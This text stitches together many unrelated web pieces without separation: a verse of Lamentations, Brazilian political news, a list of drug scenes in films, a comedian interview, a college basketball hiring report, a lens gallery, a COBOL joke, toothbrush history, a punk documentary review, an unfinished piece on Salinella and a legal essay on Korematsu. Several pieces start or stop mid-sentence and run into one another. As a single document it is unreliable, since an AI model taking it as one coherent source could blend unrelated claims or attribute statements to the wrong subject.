The foreign ministry has not publicly commented on what caused his death.א אֵיכָה יָשְׁבָה בָדָד, הָעִיר רַבָּתִי עָם--הָיְתָה, כְּאַלְמָנָה; רַבָּתִי בַגּוֹיִם, שָׂרָתִי בַּמְּדִינוֹת--הָיְתָה, לָמַס. {ס} 1 How doth the city sit solitary, that was full of people! How is she become as a widow! She that was great among the nations, and princess among the provinces, how is she become tributary! {S}
ב בָּכוֹ תִבְכֶּה בַּלַּיְלָה, וְדִמְעָתָהּ עַל לֶחֱיָהּ--אֵין-לָהּ מְנַחֵם, מִכָּל-אֹהֲבֶיהָ: כָּל-רֵעֶיהָ בָּגְדוּ בָהּ, הָיוּ לָהּ לְאֹיְבִים. {ס} 2 She weepeth sore in the night, and her tears are on her cheeks; she hath none to comfort her among all her lovers; all her friends have dealt treacherously with her, they are become her enemies. {S}
ג גָּלְתָה יְהוּדָה מֵעֹנִי, וּמֵרֹב עֲבֹדָה--הִיא יָשְׁבָה בַגּוֹיִם, לֹא מָצְאָה מָנוֹחַ; כָּל-רֹדְפֶיהָ הִשִּׂיגוּהָ, בֵּין הַמְּצָרִים. {ס} 3 Judah is gone into exile because of affliction, and because of great servitude; she dwelleth among the nations, she findeth no rest; all her pursuers overtook her within the straits. {S}
ד דַּרְכֵי צִיּוֹן אֲבֵלוֹת, מִבְּלִי בָּאֵי מוֹעֵד--כָּל-שְׁעָרֶיהָ שׁוֹמֵמִין, כֹּהֲנֶיהָ נֶאֱנָחִים; בְּתוּלֹתֶיהָ נּוּגוֹת, וְהִיא מַר-לָהּ. {ס} 4 The ways of Zion do mourn, because none come to the solemn assembly; all her gates are desolate, her priests sigh; her virgins are afflicted, and she herself is in bitterness. {S}
ה הָיוּ צָרֶיהָ לְרֹאשׁ אֹיְבֶיהָ שָׁלוּ, כִּי-יְהוָה הוֹגָהּ עַל רֹב-פְּשָׁעֶיהָ; עוֹלָלֶיהָ הָלְכוּ שְׁבִי, לִפְנֵי-צָר. {ס} 5 Her adversaries are become the head, her enemies are at ease; for the LORD hath afflicted her for the multitude of her transgressions; her young children are gone into captivity before the adversary. {S}
ו וַיֵּצֵא מן בת- (מִבַּת-) צִיּוֹן, כָּל-הֲדָרָהּ; הָיוּ שָׂרֶיהָ, כְּאַיָּלִים לֹא-מָצְאוּ מִרְעֶה, וַיֵּלְכוּ בְלֹא-כֹחַ, לִפְנֵי רוֹדֵף. {ס} 6 And gone is from the daughter of Zion all her splendour; her princes are become like harts that find no pasture, and they are gone without strength before the pursuer.
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the 1980s.
Congressional President Henrique Alves said the vote had been a blow for the credibility of Brazilian lawmakers.
Analysis The decision was an attempt to counter the criticism the Brazilian Congress has been facing lately. It comes a few days before Brazil's independence day, on 7 September, when protests are set to take place across the country. Members of Congress are worried that, as during the wave of demonstrations in June, much of the people's anger in the upcoming protests will be directed at the politicians, who are seen by many as ineffective and corrupt. It seems unlikely that the decision will change public opinion. There are no indications that the Senate will pass the measure abolishing secret ballots anytime soon. Brazilians' views are still marked by the ongoing Mensalao trial, one of the biggest corruption scandals in the country's recent history, in which several legislators were convicted.
"I can say, without the shadow of a doubt, that I have never seen the credibility of this house take a worse hit than the one last week," he said.
The case of Donadon and other lawmakers convicted of crimes but still serving in Congress was described as a slap in the face by protesters.
Hundreds of thousands of people demonstrated in cities such as Sao Paulo, Rio de Janeiro and Salvador, demanding broad reforms to the education, health care and transport sectors, as well as an end to widespread corruption at all levels of the public sector.
The ability of Congress to hold votes in secret was seen as one of the ways legislators accused of corruption could stay in power, as their colleagues closed ranks without having to face criticism from angry constituents.
The measure will now go to the Senate, where some politicians have been critical of the move, arguing that it will make it harder for them to follow their conscience.n.b. This list is about scenes in movies where the effects of drug-taking are depicted. Therefore you won't find the likes of 2001: A Space Oddyssey or Eraserhead here...
50: Bloodsuckers (1970)
Feckless Oxbridge luminary Patrick Mower ends up with a bunch of drug-taking, daylight-loving vampires on a Greek island. Unless you're a big fan of Imogen Hassall (not unreasonable), the following trip/orgy sequence represents the only entertainment to be extracted from this interminable early 70s Euro-pudding. This sequence was one of many casualties of an almost random pruning of the film in order to obtain a broader certification in Europe, though it remains in many American versions...
49: The 25th Hour (2002)
Anna Paquin enjoys a loaded glide round a swinging nightclub in Spike Lee's under-regarded love-letter to redemption and to the twin towers. Though not achieved by the same method, some of these shots seem to be a tribute to the self-filming'strap-on camera' technique developed by Martin Scorsese for Mean Streets...
48: From Hell (2001)
Psychic detective John Abeline uses his opium-induced dreams to find clues to the identity and whereabouts of Jack The Ripper in this atmospheric adaptation of the graphic novel by Alan Moore and Eddie Campbell. In the first of the sequences John Merrick (the 'Elephant Man') makes his first big-screen appearance since David Lynch's 1980 biopic.
47: Chopper (2003)
Andrew Dominik's hugely entertaining - and hugely violent - biopic of Australian hard man 'Chopper' Read features an amusing editing technique to explain the hyper-aware state engendered by cocaine-use....
46: Superman 3 (1983)
It would be a big mistake to look for much subtext in a movie this dumb, but the scene in the junkyard where 'Evil Superman' splits off from Clark Kent and fights him has always struck me as a trippy and symbolic representation of Supie's inner conflict rather than a genuine stand-up fight. The drug that's reduced our hero to this is Richard Pryor's tar-laced synthetic Kryptonite...
45: Bad Lieutenant (1992)
Utterly abandoned to corruption, drugs and booze, Harvey Keitel's super-conflicted anti-hero is prone to visions, and a moment of great sorrow in a church brings Christ himself into the picture...
44: Jay And Silent Bob Strike Back (2001)
Jason Mewes and Kevin Smith strike out of the Clerks universe into...the world of Scooby Doo. In all but name anyway; the patently obvious'mystery machine' that rescues our stranded heroes has the whole gang inside, even if they are rather more foul-mouthed and bickering than usual. Mewes spreads the mellowness around with some rather naughty 'Dooby Snacks', and pretty soon they're all getting along famously. Then the dog starts talking...
43: Dune (1984)
David Lynch's Eraserhead (1978) isn't in this list because, in spite of its compelling nightmarish imagery, no drugs are actually taken in the film. Nor are they in Lynch's The Elephant Man (1980), which nonetheless refines Eraserhead's bizarre visuals yet further in a number of dream sequences. In Dune, Lynch builds yet further on the grotesque and stylised dream-imagery which defined his early career; the 'Spice Melange' is a potent and rare drug that gives the user psychic insight and strange powers, and the 'Water Of Life' its most distilled form - fatal to all men except the prophesied 'Kwisatz Haderach'. But Paul Atreides (Kyle McLachlan) must try some to find out if he is that long-awaited man...
42: Things Are Tough All Over (1982)
Arch-tokers Cheech Marin and Tommy Chong have contributed too much drug-fuelled cinematic lunacy to be allowed more than one entry in this list. Here they arrive at a posh restaurant having partaken of certain substances, and find themselves doing as much gender-bending as mind-bending...
41: The Acid House (1998)
Irvine Welsh continues to expound on the secret narcotic life of urban Scotland. The film is vaguely considered to be a descendent of Trainspotting but did not attract the same acclaim, perhaps partly because of the anthological nature of the three stories it tells. In the eponymous segment, Ewen Bremner gets stuck on the magic roundabout and some typical trip-out SFX...
40: Spiderman (2001)
Some radioactive venom sends Peter Parker on a trip through every beloved but cheap Sam Raimi trick in the book in the first of the hugely successful series....
39: Batman Begins (2005)
Cillian Murphy's Scarecrow uses a powerful weaponised hallucinogen to drive his victims into paroxyms of fear in Christopher Nolan's warm-up for The Dark Knight...
38: Casino Royale (2006)
Bond gets slipped a nasty and quick-acting poison in Daniel Craig's entry to the Bond canon and has to resort to some unreliable hi-tech MI6 jump-starting to keep his heart going. This is exactly the kind of innovation that managed to make Casino Royale such a stunning Bond film while keeping to the spirit of the character, traits largely missing from Quantum Of Solace...
37: Barbarella (1968)
Having discovered'real' sex in her recent adventures, space-twit Barbarella is disappointed to find that the promisingly-named Dildano (David Hemmings) wants to unite with her the more traditional - chemical - way of the 41st century. Referred to only as 'the pill', the fictional drug that the pair take in order to share a psychosexual experience is a clear parody of the birth control drug that was revolutionising the 1960s, and it certainly looks like a smoking-hot experience...
36: Skidoo (1968)
Otto Preminger's by-the-numbers gangster flick has little to make it stand out from the crowd apart from one scene where imprisoned gangster Jackie Gleason drops a little acid in his cell. This is just about as absurd an example of how button-down America envisioned an LSD experience as Hollywood has to offer...
35: Training Day (2001)
Ethan Hawke ends up landed with the new-boss-from-hell as the would-be narcotics cop learning some very bad lessons from ultra-hard, ultra-corrupt veteran Denzel Washington. Goaded to'man up' by sampling the PCP that they are hunting down, Hawke goes green, as does the cinematography in this rather nauseous sequence. To add insult to injury, Washington then confesses that he has never tried anything that lethal himself...
34: The Weird World of LSD (1967)
A purportedly anti-LSD movie that boasts the same hypocritical remit that let Russ Meyer 'preach and show' in the 1960s, Weird World attempts to convey the full depth of a series of LSD experiences entirely in black and white. Since trip-sequences are 75% SFX, this is not a project you would really want to undertake on a budget as restricted as this...
33: Hannibal (2001)
An unrecognisable Gary Oldman plays trust-funded sex offender Mason Verger in Ridley Scott's sequel to Silence Of The Lambs. In this scene he explains to Clarice Starling (Julianne Moore) how Hannibal Lecter (Anthony Hopkins) used a popper to persuade him to slice his own face off with a mirror so that our 'hero' could feed it to Verger's dogs. "It seemed like a good idea at the time..."
32: Starsky & Hutch (2004)
Straight-laced Starsky (Ben Stiller) mistakes a bag of ultra-pure cocaine for sugar in this affectionate comic re-tread of the 70s show. Pretty soon his inhibitions are history, and he's dragging laid-back crooner Hutch (Owen Wilson) to a disco show-down reminiscent of the 'face-off' in Zoolander...
31: Hanna Barbera anti-drugs spot (1970)
At a time when America's animators were grooving on the psychedelic vibe (check out Aristocats), there was clearly some disparity between the anti-drugs remit of whoever commissioned this and the enthusiasm of the animators involved, who render the film an irresistible advertisement for LSD. There's even a tussle with some zombies at the end...
30: Spun (2002)
Speed-freak Jason Schwartzman hooks up with 'cook' Mickey Rourke and king-pin Eric Roberts for this dissolute but energetic tale of tweakers looking to fill up the hours of their empty lives. Some of the techniques used to depict being high are a tribute to the rather basic lens effects of the late 60s and early 70s...
29: Gothic (1986)
Ken Russell was a predictable but apposite choice of director to bring to life the opium-filled night at Lake Geneva that inspired the authoress to write Frankenstein. The most memorable trip-imagery from the film is surely the Dali-esque moment that Myriam Cyr's nipples turn into eyes...
NSFW
28: Liquid Sky (1982)
Thrill-seeking aliens land on top of the apartment of a heroin-addicted New York drug dealer and themselves become murderously hooked on the human pheromones released during orgasm. Probably the weirdest set-up of any genre-exploitation film of the 1980s, and the producers didn't spare us any ropey SFX on the trip sequences either...
27: Reefer Madness (1936)
This most famous of anti-drug propaganda films portrays the effects of cannabis as including violent psychoses and jumping out of windows. The grand guignol flavour of this and companion piece Sex Madness was famously parodied in the post-credits sequence of John Landis' Amazon Women On The Moon (1983)...
26: Killing Zoe (1994)
Some strobing effects and warped camera effects characterise the almost-instant descent into heroin and crime experienced by Eric Stoltz's newcomer in Paris in Roger Avary's near-miss...
Click here for the final 25...
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10 best ever football computer gamesNo topic is off limits for stand-up comedian Ali Wong.
In her new Netflix special, "Baby Cobra," Wong tackles everything from bodily functions to specific sex acts to the woes of feminism. As if her brash style weren’t enough to set her apart from other comics, Wong, who's also a writer on the ABC series "Fresh Off The Boat," decided to tape her special when she was more than seven months pregnant.
Since shooting the special, Wong gave birth to her first child, a daughter. When she stopped by The Frame, she chatted about how she’s balancing her stand-up career with her new gig as a mom:
Getting back into sets at night in L.A. locally wasn't super hard. But going on the road is damn near impossible for the first year because I chose to breastfeed. I've pumped on a plane and it was... not joyous. Pumping sucks. Especially on a plane, mid-air, when you're seated between two huge dudes who look like they farted for a living. It's terrible! If I go on the road, I don't want to have to pump every three hours and finding places to pump. It sucks. So I'll have to probably stay home for the most part for the first year. Which is fine and I'm happy to be with her, but that part is really challenging.
Interview Highlights:
I want to ask a little about the special itself and how important a special on any channel like Netflix is to a comedian. Is this something you've been thinking about and wanting to do from the very beginning of doing comedy?
Yeah, I always wanted to do a special. A lot of comics will say that the thing about specials now is that they're not special anymore. Because there are so many of them and they come and go and they're not really talked about. They just kind of come and go. There's an oversaturated market and people do them really fast! Some people do specials like when they've only been doing comedy for three years or something. Which is fine! But I'm kind of old fashioned and I knew that I didn't want to do one too early. I didn't want to do one unless I had been doing it for ten years at least because all the comics that I like the most have been doing it for at least ten years plus. They've just really honed the craft more.
So there are jokes that you find funny and there are jokes that your audience finds funny. How much do they overlap?
I find that there's a match probably three percent of the time. So that's why I go out a lot and keep testing stuff. I mean, I will to this day do pretty much any show that anybody asks me to do. And I'm surprised that I haven't gotten abducted or kidnapped. People will be like,"Hey, I have this show..." They're so sketchy! Or like these email are like, "Hey, Ali. I have this show in my living room and we get a good crowd of like 35 people and we have free pizza..." I'm like what the hell? I'm a 34-year-old, grown-ass woman and I write on a network TV show. I'm performing for pizza but I'm not performing for pizza. That stage time is so valuable for me and that anonymity in the audience too where I can just be free to say whatever I want, be judged as a bad comic. I don't care if those 35 people leave and are like she is so bad. It doesn't matter.
A large part of your act is focused on your own body and sex. When did that become a big part of your act and how did it become a big part?
It became a big part right away. I think I went through puberty really late in life or something. I always looked like a little, sad, Thai boy up until I was 26. I was so boisterous in high-school I don't think a lot of boys liked me that much 'cause they were like, "Oh, she's so loud and so crazy." But then this thing happens in your late twenties and guys begin to take note of women's personalities more or something. All the sudden I was dating and going out with all these guys and so horny and so excited and my chest grew a little bit more. Then I just wanted to talk about it all the time. That's just what happened [laughing]. And I started talking about it on stage and people seemed to like it and then I just kept wanting to talk about it more and more.
Something that you talk about in your act that's really not talked about at all is having a miscarriage. Tell us about that.
Last year I had a miscarriage. It's super common and I wish more women would talk about it so they wouldn't feel so bad when they go through it. When I told my mom (she's from a third-world country) She was like, uh yeah. Where I'm from that's like losing a pair of shoes.
The audience probably doesn't know how to react to this. Can you talk about the evolution of that bit and testing it out and how that joke came about?
Yeah. I started joking about my miscarriage immediately after having it. I think the day after. Publicly. It was not working and Laurie Kilmartin who's a great comic and also a mom told me, I think people need to know that you're OK in order for the joke to work. What I took from that was either I have to be pregnant, like pretty far along, or had my kid already in order to talk about it. Otherwise, people feel too sad and that it's too dark if I just had a miscarriage and hadn't bounced back from it. I just kept on doing it though and eventually it started to work. You know, it's such a small part of the special. The special has only aired on Friday and there's been an outpouring of women who've come out to me and been like, I had a miscarriage too. Thank you so much! I hate suffering in silence. I guess when you tell people you had a miscarriage you feel like you're burdening them with the information and you don't want to. I think a lot of women have to live with that by themselves in silence and it sucks because they know or they worry that people might jump to the conclusion that it's their fault. It's a part of the journey that I had with getting pregnant which is all what this special was about so it was important for me to include it in there.
Was it just happenstance that you ended up making the special while you were seven and a half months pregnant. Were you trying to line it up?
I lined it up on purpose, yeah. You know, I think a lot of times when a woman gets pregnant, it's seen as a liability. It's seen as a career killer. I had a lot of anxiety about that because I loved stand-up so much and I didn't want to associate my daughter with a career killer. So instead I said, if I plan on doing this special when I'm pregnant then I will always have this memory of her and I being on stage together doing something that was hopefully a new beginning in my career.
Do audiences get the fact that the character that you're playing on stage isn't really yourself? That your performance includes the lines that how feminism is the worst thing that happened to women, I wanna marry for money, I don't want to have to work, etc. Does the audience get that?
I have an experience maybe a couple times where a woman walked out because she was so offended. She wore some crazy public radio glasses, had a mustache and her NPR tote and was not having any of it. I was like, lady, just wait till the end! She didn't get it. There was another lady like that who walked out and was very offended, but I think for the most part, feminists are smart and they are ultimately all about empowering women and so they ultimately get it.
Do you remember your first open mic night or going on stage in front of an audience and what that meant to you and why you decided you wanted to do it more?Duke assistant Steve Wojciechowski has agreed to become the 17th head coach in Marquette history, a source close to the search told Paint Touches.
Wojciechowski has spent the last 15 seasons as an assistant coach for Mike Krzyzewski. Wojciechowski played point guard for Coach K and the Blue Devils from 1994-1998 and is regarded as one of the top assistants in college basketball.
The 37-year-old Wojciechowski emerged as a legitimate candidate Sunday night, when Yahoo Sports’ Adrian Wojnarowski reported Marquette was showing interest.
A source told Paint Touches that Wojociechowski completely blew away the Marquette brass in his interview Monday morning, and that his preparedness and enthusiasm pushed him ahead of Tennessee head coach Cuonzo Martin, who reportedly had interest in the job and also was contacted by Marquette — late Monday night CBS’s Gary Parrish reported Martin had taken himself out of consideration for the position.
Also, Wojciechowski’s connections in the AAU circuit have the administration confident he’ll be able to recruit at an elite level. Though Duke somewhat recruits itself, Wojciechowski been the lead recruiter on such players as Chris Duhon, JJ Redick, Kyle Singler, Shelden Williams and Josh McRoberts. Wojciechowski, a Polish Catholic, is also a good fit at a Jesuit university such as Marquette, the source told PT.
Early in the process a source told Paint Touches that Marquette was looking for a head coach with “elite success” under his belt, and while Wojciechowski has never been a collegiate head coach he has been part of two national championships at Duke as Krzyzewski’s right-hand man.
After Buzz Williams left Marquette for Virginia Tech two weeks ago, the Golden Eagles first reached out to former UCLA head coach Ben Howland before offering the position to VCU head coach Shaka Smart. Smart, who was rumored to be close to joining the Golden Eagles, ultimately turned down the offer. Martin was another potential candidate, as well as Syracuse assistant Mike Hopkins and Green Bay’s Brian Wardle.
In four seasons at Duke, Wojciechowski averaged 5.4 points and 3.9 assists in 128 career games. He played overseas for one season before returning to Duke as an assistant. During his time with the Blue Devils he was promoted to associate head coach in 2008, and coached the Blue Devils’ frontcourt players.
Last July ESPN.com ranked Wojciechowski as the nation’s 17th best recruiting assistant coaches, noting “he’s both feared and respected. Wojo has been a key reason for the Blue Devils’ success on the recruiting trail.”
Krzyzewski’s coaching tree includes names such as Mike Brey (Notre Dame), Johnny Dawkins (Stanford), Tommy Amaker (Harvard), Jeff Capel (formerly Oklahoma) and Chris Collins (Northwestern). Collins took over the Wildcats this past season and led them to a 14-18 record, and Wojnarowski included in his report that “Marquette has been impressed with the impact” Collins had in Year 1 in Evanston.
In December Wojciechowski told CBS Sports Radio that the time to leave Duke “was approaching,” and last week Krzyzewski told reporters he planned to coach at least five more seasons, which may have forced his assistant’s hand in taking a head coaching gig that he’s undoubtedly qualified for.
Stay with PaintTouches.com throughout the day for more details on the hiring.About Nechama Goldman Barash
Nechama Goldman Barash made aliyah from Philadelphia over 20 years ago after graduating from Stern College. She studied for three years in Matan’s Advanced Talmud Institute and finished a master’s degree in Talmud at Bar-Ilan University. She is a graduate of Nishmat’s Yoetzet Halacha program and has been certified to teach brides before their weddings, as well as qualifying as a sex educator through Yahel and the Eden Center. She also studied for three years in Matan's advanced halakha program, Hilkhata. She teaches contemporary halakha and Talmud at Matan and Pardes, as well as Talmud and women and halakha in Torah V'Avodah (TVA), a Bnei Akiva gap year program based in Matan. She is an active member of Beit Hillel and participates in interfaith dialogue through Roots, based in Gush Etzion, close to where she lives with her family. She is currently working on a book dealing with matters of gender and halakha. Contact: [email protected] 150mm f/2 Zuiko Gallery: Pairing a legendary lens with the PEN-F and the E-M1 Mark II
Click here to read our Olympus 150mm f/2 Gallery article
Camera bodies come and go, but some lenses transcend time. The Olympus 150mm (300mm eq.) f/2 Zuiko is just such a lens, and it seemed only fitting to pair it up with two of the most formidable camera bodies in the current Olympus family in the PEN-F and the E-M1 Mark II.
This is, of course, an older Four Thirds lens and needs an adapter in order to mate with the modern Micro Four Thirds mounts. The adapter does however allow for the use of autofocus, and it is actually fairly fast and accurate on these two newer bodies. But it's the image results that are the big deal, and you simply can't get a 300mm equivalent focal length at the generous f/2 aperture from any other current Olympus offering.
1/320s / f/2.8 / ISO 200
[Olympus E-M1 Mark II]
1/160s / f/2 / ISO 200
[Olympus E-M1 Mark II]
1/1250s / f/2 / ISO 200
[Olympus PEN-F]
Dive in for much more on these intriguing pairings.
• Olympus 150mm f/2 Gallery •There was once a COBOL programmer in the mid to late 1990s. For the sake of this story, we’ll call him Jack. After years of being taken for granted and treated as a technological dinosaur by all the UNIX programmers and Client/Server programmers and website developers, Jack was finally getting some respect. He’d become a private consultant specializing in Year 2000 conversions. He was working short-term assignments for prestige companies, traveling all over the world on different assignments, and making more money than he’d ever dreamed of.
He was working 70 and 80 and even 90 hour weeks, but it was worth it. Soon he could retire. Several years of this relentless, mind-numbing work had taken its toll on Jack. He had problems sleeping and began having anxiety dreams about the Year 2000. It had reached a point where even the thought of the year 2000 made him nearly violent. He must have suffered some sort of breakdown, because all he could think about was how he could avoid the year 2000 and all that came with it. Jack decided to contact a company that specialized in cryogenics. He made a deal to have himself frozen until March 15th, 2000. This was a very expensive process and totally automated. He was thrilled. The next thing he would know is he’d wake up in the year 2000; after the New Year celebrations and computer debacles; after the leap day–nothing else to worry about except getting on with his life. He was put into his cryogenic receptacle, the technicians set the revive date, he was given injections to slow his heartbeat to a bare minimum, and that was that. The next thing that Jack saw was an enormous and very modern room filled with excited people. They were all shouting, “I can’t believe it!” and “It’s a miracle” and “He’s alive!”. There were cameras (unlike any he’d ever seen) and equipment that looked like it came out of a science fiction movie.
Someone who was obviously a spokesperson for the group stepped forward. Jack couldn’t contain his enthusiasm. “It is over?” he asked. “Is 2000 already here? Are all the millennial parties and promotions and crises all over and done with?”
The spokesman explained that 2000 had gone, but that there had been a problem with the programming of the timer on Jack’s cryogenic receptacle – it hadn’t been year 2000 compliant, and it was now March 15th of 9999, not 2000. But the spokesman told Jack that he shouldn’t get excited as someone important wanted to speak to him.
Suddenly a wall-sized projection screen displayed the image of a man that looked very much like Bill Gates. This man was Prime Minister of Earth. He told Jack not to be upset, that this was a wonderful time to be alive–that there was world peace and no more starvation–that the space programmed had been reinstated and there were colonies on the moon and on Mars-that technology had advanced to such a degree that everyone had virtual reality interfaces which allowed them to contact anyone else on the planet, or to watch any entertainment, or to hear any music recorded anywhere.
“That sounds terrific,” said Jack. “But I’m curious. Why is everybody so interested in me?” “Well,” said the Prime Minister. “The Year 10000 is just around the corner, and it says in your files that you know COBOL”.At least 5000 years ago. "Chew sticks" - twigs with frayed ends resembling brushes - have been found in Egyptian tombs from 3000 BC. Babylonian chew sticks, dating from 3500 BC have also been found. These acted like tooth-picks, rather than brushes. The ancient Chinese, Romans and Greeks were also avid practitioners of dental hygiene. The Greeks used fingers and linen sheets to clean their teeth. The first modern bristled toothbrushes were made by William Addis of Clerkenald, England around 1780 and were in general use around Europe and Japan by the early 1800s, with the first toothpastes appearing at around the same time. The first American toothbrushes were patented later that century, although interestingly it took soldiers returning from Europe after World War II to popularise the practice in America. http://www.wholepop.com/features/oral/look_ma.html http://www.toothbrushexpress.com/html/toothbrush_history.html http://www.oralb.com/learningcenter/teaching/history.asp http://www.dentistry4u.com/history_of_dentistry.htmNarrated by Iggy Pop and featuring commentary from 150 band members, zine editors, volunteers and more, Turn It Around is a massive, authoritative document of the scene around the Berkeley all-ages club 924 Gilman that would eventually change punk rock all over the world. Packed with previously unseen footage -- Operation Ivy’s early rehearsals, Miranda July’s 1992 play staged at Gilman, unearthed images from photographer Murray Bowles' vast archive -- the film brings in perspective from observant outsiders like Bikini Kill’s Kathleen Hanna and Fugazi’s Ian MacKaye on down to less-celebrated contributors like the drummer of Sewer Trout and that one guy who got too drunk once in Eggplant’s backyard.
Because of this breadth and length, there’s no singular narrative driving Turn It Around, no easy-entry character study for a mainstream public. It's unlikely the film will have the same crossover success as, say, Searching for Sugarman or Standing in the Shadows of Motown, or other looser documentaries that don't let the truth get in the way of a good story.
But that's why it’s definitive. As someone who spent his formative teenage years going to Gilman, volunteering there and yes, even sleeping at the club during the years in the film (which, full disclosure, I'm seen in for a split second), I can't find much that it omits. For others who were there, and for the growing number of kids worldwide interested in the era, there's value in this. Redford says he originally cut a five-hour version from 500 hours of footage before the final two-and-a-half-hour cut, and with any luck, that extra footage will surface as DVD extras or on streaming services after this theatrical run. Ask anyone involved in the punk scene at the time, and they'll tell you that it's impossible to boil it down to one simple story.
The film crew itself evinces a "by the punks, for the punks" philosophy: both Absolutely Zippo editor Robert Eggplant and drummer and booker Kamala Parks served on the production crew, and the titles and illustrations are hand-drawn by Cometbus editor Aaron Cometbus, Rancid's Tim Armstrong and Operation Ivy's Jesse Michaels. Before this, his first full-length film, Redford had mainly directed videos for his band, Bobby Joe Ebola and the Children Macnuggits.
That band name hints at the humor in the film, and also the idea, embraced by figures like Tales of Blarg editor Janelle Hessig (and bands like Stikky), that despite the East Bay punk scene's impact, it isn't to be taken overly seriously. Turn it Around’s release during the current 50th anniversary bonanza for the Summer of Love is a curious study in contrasts on how to commemorate a musical moment.
"One thing we're not trying to do is mystify that time," Redford says, citing the Chicago punk documentary title You Weren't There as an elitist idea he wanted to oppose. "We’re just trying to show how human or normal a lot of these larger-than-life figures were, how they did their best to try to make something good. We’re not saying, 'This is the best scene ever.' You know?"
That said, the film doesn't lack in context. It opens with then-California governor Ronald Reagan ordering gas to be dropped on protesting students at People’s Park in Berkeley, soon moving to MaximumRockNRoll founder Tim Yohannon’s on-air argument about punk with rock promoter Bill Graham. Many cultural forces coalesced in the 1970s to guide Bay Area punk, and even Kirk Hammett from Metallica and Duff McKagan from Guns ‘N’ Roses attest to the notion of the 1980s San Francisco punk scene as the country’s strongest.
Berkeley was a bastard child of it all, a place where kids of hippies and college professors resisted trends. The film hits its stride with the founding of the Gilman Street Project, and its philosophical opposition to knuckleheaded thrash shows with drink minimums and violent pits. In fact, the pits at Gilman are decidedly silly: “geekcore” punks play leapfrog in a circle, or ride tricycles. The band Isocracy hauls in hundreds of pounds of garbage from dumpsters, and throws it on the crowd and themselves. Inexplicably, an odd trend emerges of stagediving into bushes, and an anthem for it is written.
Gilman goes through various changes, including an infiltration by skinheads (in an uplifting segment of the film, the geeks fight back), but a running theme is the folly of fame. Operation Ivy breaks up because they get too popular. Yohannon suddenly closes Gilman when he feels it’s achieved all it can. The insider nature of "THE LIST," replete with "@:pit warnings" by veteran Steve Koepke, is lauded as a secret, pre-internet social network. When Gilman reopens, and Green Day starts packing in a more normal, preppy crowd than usually frequents the club, many diehards get nervous. By the film’s end, Green Day signs to a major label, a trenchant debate over what constitutes “punk” rages, Tim Yohannon passes away, and Gilman goes on to enjoy an influx -- continuing to this day -- of enthusiastic kids ready to start something new.
No punk scene is without its scandals, and Turn it Around conspicuously ignores them and other unsavory bits of lore: Jello Biafra getting his leg broken by crusty punks; Sam McBride from Fang being convicted of killing his girlfriend; the Feederz throwing a dead dog into the crowd. (Readers can find these stories in Jack Boulware and Silke Tudor’s excellent oral history Gimme Something Better: The Profound, Progressive, and Occasionally Pointless History of Bay Area Punk.)
That's intentional, Redford says, and ultimately, the film's theme isn't Do It Yourself so much as Do It Together. "The emergence of the Gilman Street Project is a pretty good example of the good things that can happen when people are nice to each other, when they decide to cooperate and build as opposed to destroy or backbite," he says. "And again, our scene isn’t perfect, but I think that in the world today, places where outliers can converge are very important. And they’ve always been important."
That's evident in the diverse alumni of Gilman's scene. Queercore groups like Tribe 8 and Pansy Division; feminist bands Spitboy and the Yeastie Girlz; black performers like the Beatnigs' Michael Franti or Special Forces' Orlando all weigh in. Stylistically, too, the music ranges from the Beatles-inspired harmonies of Sweet Baby to the nascent emo of Jawbreaker and the hardcore nihilism of Christ on Parade. Billie Joe, singer for one of the poppiest bands on the planet, saves his strongest words of enthusiasm for apocalyptic doom-punk overlords Neurosis.
And that may be the underpinning lesson of Turn it Around: that it's about something bigger than music.
"East Bay punk to me was always just a thoughtful, heartfelt, intellectual kind of thing," says Redford. "And it taught me that punk, as opposed to just a costume or spitting on authority, is about potentially being a better citizen of the world. You know?"Salinella, or the last mythological animal
It’s the end of XIX century. A man, far away from home, looks in his microscope. He’s looking at a drop of salty water, taken from a salt pan, where tiny creatures frolick. One attracts his attention. The man looks closer. It’s an unknown thing. Still staring at the eyepiece, he begins to sketch on his notebook. It is not simply a new tiny animal. It is something so simple to be inevitable.
It is the long-awaited Ur-animal, the simple ancestor of all of us. Every individual, no bigger than a quarter of a millimeter, is an elongate bag, one cell thick. Both the inner and outer surface are hairy, covered with cilia. The opening of the bag is a mouth, with somewhat longer cilia surrounding it. These
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led: Korematsu v. United States.
In Korematsu, decided in 1944, the court upheld a military order, supported in turn by an executive order, banning all persons of Japanese descent from large areas of America’s West Coast. Many of the people forced to leave their homes were sent to internment camps farther inland. The court’s role in that chapter of American history has been a mark of shame on the institution for the better part of a century. And although the Japanese internment and the Trump administration’s travel ban are different in several important ways—discriminatorily refusing entry to aliens is not morally equivalent to discriminatorily imprisoning America’s own citizens—the constitutional issues surrounding the travel ban easily evoke central issues of Korematsu.
In both cases, the executive branch acts on the theory that members of a marginal demographic group are dangerous but officially insists that its actions are warranted by legitimate policy imperatives rather than flowing from prejudice. In both cases, the executive branch claims that the judiciary must not second-guess the executive because the case concerns dangerous subject matter in which the executive’s expertise vastly exceeds that of any court and in which a mistake could be catastrophic: wartime national defense in Korematsu, immigration control as a form of defense against terrorism today. In Korematsu, the court accepted that claim of exclusive executive authority—to its great shame thereafter. So the travel ban case offers the court a shot at redemption. A decision asserting that the court will and must check executive branch bigotry even when the executive claims a national-security rationale would be a natural vehicle for at last overruling Korematsu.
Outside of the Supreme Court, Korematsu has already been widely repudiated. In 1984, a federal trial court vacated Fred Korematsu’s conviction for violating the World War II exclusion order. Four years later, Congress passed legislation apologizing to the Japanese-Americans who were interned and providing for reparation payments to those still living. And in 2011, the Department of Justice confessed error in the case, announcing that the solicitor general who argued Korematsu before the Supreme Court was wrong to have defended the military’s claims about Japanese-Americans as security threats. But for two reasons, it matters that the Supreme Court has never officially overruled Korematsu. One is symbolic: The court is the chief narrator of American constitutional history, so an ugly chapter from the past can never be fully closed until the court itself writes the better ending. The other reason is much more practical. So long as Korematsu is still technically good law, the possibility remains that government officials will invoke it to support acts of racism masquerading as national security measures. As Justice Robert Jackson warned in his Korematsu dissent, the case “lies about like a loaded weapon.”
